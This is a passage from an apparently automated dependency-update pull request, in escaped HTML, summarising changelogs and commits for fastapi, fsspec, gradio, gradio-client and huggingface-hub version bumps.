href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.124.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🚸  Improve tracebacks by adding endpoint metadata. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14306\"\u003e#14306\u003c/a\u003e by \u003ca href=\"https://github.com/savannahostrowski\"\u003e\u003ccode\u003e@​savannahostrowski\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14457\"\u003e#14457\u003c/a\u003e by \u003ca href=\"https://github.com/yujiteshima\"\u003e\u003ccode\u003e@​yujiteshima\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.10\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14458\"\u003e#14458\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14453\"\u003e#14453\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.9\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OAuth2 scopes in OpenAPI in extra corner cases, parent dependency with scopes, sub-dependency security scheme without scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14459\"\u003e#14459\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.8\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OpenAPI security scheme OAuth2 scopes declaration, deduplicate security schemes with different scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14455\"\u003e#14455\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.7\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix evaluating stringified annotations in Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/11355\"\u003e#11355\u003c/a\u003e by \u003ca href=\"https://github.com/chaen\"\u003e\u003ccode\u003e@​chaen\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.6\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7b0b915749582206025f306924e6a7bf86041a13\"\u003e\u003ccode\u003e7b0b915\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/96bdde376f900d3c32c9e57f7cc16930fb29aa5e\"\u003e\u003ccode\u003e96bdde3\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/7ba042e069ad424a584a37f1db03887798d9af80\"\u003e\u003ccode\u003e7ba042e\u003c/code\u003e\u003c/a\u003e 🐛 Fix support for \u003ccode\u003eif TYPE_CHECKING\u003c/code\u003e,  non-evaluated stringified annotations ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/60699f306b67dc1f4918ebea17f04d7a48cda645\"\u003e\u003ccode\u003e60699f3\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/ae7af59c6d5921a3c700a9595788a444975a9d8c\"\u003e\u003ccode\u003eae7af59\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/42b250d14dd42d3c0c24dd085fa53878172a985f\"\u003e\u003ccode\u003e42b250d\u003c/code\u003e\u003c/a\u003e 🐛 Fix handling arbitrary types when using \u003ccode\u003earbitrary_types_allowed=True\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14\"\u003e#14\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/71a17b5932e38bcf798fcd05c5bb384e6d4db5bf\"\u003e\u003ccode\u003e71a17b5\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/9475024640f2e204944c5aa2cd9c67a8826189d9\"\u003e\u003ccode\u003e9475024\u003c/code\u003e\u003c/a\u003e 📝 Add variants for code examples in \u0026quot;Advanced User Guide\u0026quot; (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14413\"\u003e#14413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5b28a04d550d95ef0061f41f5a5dcfe36045e8c8\"\u003e\u003ccode\u003e5b28a04\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/8cedb742cb59f72a752bb0a6b4f73c02aeb15bf6\"\u003e\u003ccode\u003e8cedb74\u003c/code\u003e\u003c/a\u003e ✅ Add test for Pydantic v2, dataclasses, UUID, and \u003ccode\u003e__annotations__\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14477\"\u003e#14477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.124.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fsspec[http]` from 2025.10.0 to 2025.12.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/f199984f418ba7bdc5f8b56787e6f572047473a8\"\u003e\u003ccode\u003ef199984\u003c/code\u003e\u003c/a\u003e changelog (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1955\"\u003e#1955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/cfb7a2544f4e1b0a053ff8b2a835d00ad39e66ee\"\u003e\u003ccode\u003ecfb7a25\u003c/code\u003e\u003c/a\u003e fix(async): fix _glob kwargs passing (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1953\"\u003e#1953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/5fe1abcdfda1c4efd3e3ca003a11013de26594ce\"\u003e\u003ccode\u003e5fe1abc\u003c/code\u003e\u003c/a\u003e Mark dir fs, async wrapper as chained (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1932\"\u003e#1932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/97c0a0f5938470b32c5f637ed6f736cb8fa86d8b\"\u003e\u003ccode\u003e97c0a0f\u003c/code\u003e\u003c/a\u003e fix(asyn): support sync style implementation in async _rm_file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1951\"\u003e#1951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/0d9a9226e6fe466fb6e142ccc89625fbf2ef15ae\"\u003e\u003ccode\u003e0d9a922\u003c/code\u003e\u003c/a\u003e Simplify and extend fsspec.parquet for filters and multi-file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1945\"\u003e#1945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/25b805d2cf8f347fe0a40dc557e908e667ab8e7a\"\u003e\u003ccode\u003e25b805d\u003c/code\u003e\u003c/a\u003e Expose connection errors in HTTPFileSystem._exists (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1849\"\u003e#1849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/85b632448cfc0d662e852314c509a33606328af2\"\u003e\u003ccode\u003e85b6324\u003c/code\u003e\u003c/a\u003e add .size to ArrowFile (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dae0e8028776cedc9a0381f0033d870d5bde6b73\"\u003e\u003ccode\u003edae0e80\u003c/code\u003e\u003c/a\u003e Allow user override of seekable parameter in ArrowFSWrapper methods (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dbc633e4df6dbb928c7bcd753b3479d6cbe5bfe1\"\u003e\u003ccode\u003edbc633e\u003c/code\u003e\u003c/a\u003e Add support for Python 3.14 and drop EOL 3.9 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1946\"\u003e#1946\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/04a0c60e97d48ab2d36292b9338e381c1c2965ce\"\u003e\u003ccode\u003e04a0c60\u003c/code\u003e\u003c/a\u003e Avoid warning with ruff 0.14 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1942\"\u003e#1942\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/fsspec/filesystem_spec/compare/2025.10.0...2025.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio` from 5.49.1 to 5.50.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/blob/main/CHANGELOG.md\"\u003egradio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003egradio\u003c/h1\u003e\n\u003ch2\u003e6.1.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12504\"\u003e#12504\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/44764009dfebecf894298efe80366e42578ea65d\"\u003e\u003ccode\u003e4476400\u003c/code\u003e\u003c/a\u003e - Add \u003ccode\u003eplayback_position\u003c/code\u003e to gr.Audio and gr.Video, which can be updated and read.  Thanks \u003ca href=\"https://github.com/aliabid94\"\u003e\u003ccode\u003e@​aliabid94\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12524\"\u003e#12524\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/d6be33e9f019979953991283edd6ddfa00b2207c\"\u003e\u003ccode\u003ed6be33e\u003c/code\u003e\u003c/a\u003e - feat: add link_target parameter to Button component.  Thanks \u003ca href=\"https://github.com/ujjwaltwri\"\u003e\u003ccode\u003e@​ujjwaltwri\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12502\"\u003e#12502\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/d3966ca9df13be7e7bd0d6eb09cf6be24206ea58\"\u003e\u003ccode\u003ed3966ca\u003c/code\u003e\u003c/a\u003e - Restore Blocks constructor args deprecated in 6.0 (theme, css, etc.).  Thanks \u003ca href=\"https://github.com/aliabid94\"\u003e\u003ccode\u003e@​aliabid94\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12515\"\u003e#12515\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0892c297b35742ed5cabf64d0846fd36ae02ecea\"\u003e\u003ccode\u003e0892c29\u003c/code\u003e\u003c/a\u003e - Fix plot Rendering + visibility bug.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12493\"\u003e#12493\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/8a6cff6738d09a6e708fc6351d806967fa82ca91\"\u003e\u003ccode\u003e8a6cff6\u003c/code\u003e\u003c/a\u003e - Fix bug where cancelling an events shows an error in the UI.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12518\"\u003e#12518\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/e8efab2cb19860146cec7946e77b34a599ad6258\"\u003e\u003ccode\u003ee8efab2\u003c/code\u003e\u003c/a\u003e - Fix Settings.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12494\"\u003e#12494\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/251add42b69b0c1f6c96559e2ecdefc40def79f4\"\u003e\u003ccode\u003e251add4\u003c/code\u003e\u003c/a\u003e - JS unit test fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12491\"\u003e#12491\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4f6327be6815fc8d574b60272b02915c75359ace\"\u003e\u003ccode\u003e4f6327b\u003c/code\u003e\u003c/a\u003e - Load visible components in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12508\"\u003e#12508\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0715279005cbd6fea3c8081996aa5afddbd27e34\"\u003e\u003ccode\u003e0715279\u003c/code\u003e\u003c/a\u003e - Fix custom \u003ccode\u003ejs\u003c/code\u003e param.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12531\"\u003e#12531\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/8aaa209278a1898951a764812c237d1a514cc066\"\u003e\u003ccode\u003e8aaa209\u003c/code\u003e\u003c/a\u003e - Allow custom HTML components to be defined in jupyter notebooks.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12499\"\u003e#12499\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/af3ffa057fe9e21e2aa658ca251b7f696b0a24ac\"\u003e\u003ccode\u003eaf3ffa0\u003c/code\u003e\u003c/a\u003e - Fix: avoid corrupting JSON-like values in CSV sanitization.  Thanks \u003ca href=\"https://github.com/ujjwaltwri\"\u003e\u003ccode\u003e@​ujjwaltwri\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12516\"\u003e#12516\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/23c9bb5d46909a07b4ff639655b59b4a979a0c06\"\u003e\u003ccode\u003e23c9bb5\u003c/code\u003e\u003c/a\u003e - Fix copy button in \u003ccode\u003egr.Textbox\u003c/code\u003e.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.2\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12475\"\u003e#12475\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/c4c36c7da3d14d60f4fd9b35bbe68d52f7b38bb9\"\u003e\u003ccode\u003ec4c36c7\u003c/code\u003e\u003c/a\u003e - Fix highlighted text in 6.0.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12476\"\u003e#12476\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/4e9a330a85396659e8cf4d90f25d3dde82a685b3\"\u003e\u003ccode\u003e4e9a330\u003c/code\u003e\u003c/a\u003e - Fix slider css issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12480\"\u003e#12480\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/b9732d10680ca66fa7b3f1e763d3cdd57b38c6ed\"\u003e\u003ccode\u003eb9732d1\u003c/code\u003e\u003c/a\u003e - [BUGFIX] Fix stream file download in gradio client.  Thanks \u003ca href=\"https://github.com/frascuchon\"\u003e\u003ccode\u003e@​frascuchon\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12490\"\u003e#12490\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/472e16439f2573b33d21b9635706416518405ddd\"\u003e\u003ccode\u003e472e164\u003c/code\u003e\u003c/a\u003e - Make client backwards compatible with version 5.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12489\"\u003e#12489\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/2a2dd60d5aa041d82640358a5ed6ba03f1b398e2\"\u003e\u003ccode\u003e2a2dd60\u003c/code\u003e\u003c/a\u003e - 12485 fix mcp client issue.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12477\"\u003e#12477\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/07fa4949fa5b806732eb429f732037615f9f546e\"\u003e\u003ccode\u003e07fa494\u003c/code\u003e\u003c/a\u003e - Checkbox Label Fix.  Thanks \u003ca href=\"https://github.com/dawoodkhan82\"\u003e\u003ccode\u003e@​dawoodkhan82\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.0.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12445\"\u003e#12445\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/0f2fa10887b5c2f7fe4a4080e8bcf7d91669a163\"\u003e\u003ccode\u003e0f2fa10\u003c/code\u003e\u003c/a\u003e - chore(deps): ⬆️ update pillow from 11.1.0 to 12.0.  Thanks \u003ca href=\"https://github.com/onuralpszr\"\u003e\u003ccode\u003e@​onuralpszr\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12446\"\u003e#12446\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/96efaabb38a5b48c26011560634189388e83181a\"\u003e\u003ccode\u003e96efaab\u003c/code\u003e\u003c/a\u003e - Update gradio_client version to 2.0.0.  Thanks \u003ca href=\"https://github.com/abidlabs\"\u003e\u003ccode\u003e@​abidlabs\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12460\"\u003e#12460\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f9e272dc120bb8f8f9f5fb2bd9f0a4eac0563d6e\"\u003e\u003ccode\u003ef9e272d\u003c/code\u003e\u003c/a\u003e - Fix bug where close method does not kill the thread.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12416\"\u003e#12416\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/7e867fde9070849fb474a08544c72f2522a9cbe9\"\u003e\u003ccode\u003e7e867fd\u003c/code\u003e\u003c/a\u003e - Fix custom components for gradio 6.  Thanks \u003ca href=\"https://github.com/pngwn\"\u003e\u003ccode\u003e@​pngwn\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12461\"\u003e#12461\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/9a86e8064787029bc20b086c6f3191879f786e0f\"\u003e\u003ccode\u003e9a86e80\u003c/code\u003e\u003c/a\u003e - Fix Login Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12473\"\u003e#12473\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/f42628d35c5597d83c57980d559f1daf7805b153\"\u003e\u003ccode\u003ef42628d\u003c/code\u003e\u003c/a\u003e - Allow new custom components to use Gradio 6.  Thanks \u003ca href=\"https://github.com/freddyaboulton\"\u003e\u003ccode\u003e@​freddyaboulton\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `gradio-client` from 1.13.3 to 1.14.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradio-app/gradio/releases\"\u003egradio-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​gradio/model3d\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.1\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/11908\"\u003e#11908\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/029034f7853ea018d110efe9b7e2ef7d1407091c\"\u003e\u003ccode\u003e029034f\u003c/code\u003e\u003c/a\u003e - Clear Error statuses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/gradio-app/gradio/pull/12438\"\u003e#12438\u003c/a\u003e \u003ca href=\"https://github.com/gradio-app/gradio/commit/25ffc0398f8feb43d817c02b2ab970c16de6d797\"\u003e\u003ccode\u003e25ffc03\u003c/code\u003e\u003c/a\u003e - Svelte5 migration and bugfix\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/atoms\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.19.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/client\u003c/code\u003e\u003ca href=\"https://github.com/2\"\u003e\u003ccode\u003e@​2\u003c/code\u003e\u003c/a\u003e.0.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/icons\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.15.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/statustracker\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.12.0\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/upload\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.17.2\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​gradio/utils\u003c/code\u003e\u003ca href=\"https://github.com/0\"\u003e\u003ccode\u003e@​0\u003c/code\u003e\u003c/a\u003e.10.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/gradio-app/gradio/commits/@gradio/client@1.14.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `huggingface-hub` from 1.1.4 to 1.2.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/huggingface/huggingface_hub/releases\"\u003ehuggingface-hub's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[v1.2.2] Fix unbound local error in local folder metadata + fix \u003ccode\u003ehf auth list\u003c/code\u003e logs\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix unbound local error when reading corrupted metadata files by \u003ca href=\"https://github.com/Wauplin\"\u003e\u003ccode\u003e@​Wauplin\u003c/code\u003e\u003c/a\u003e in \u003ca 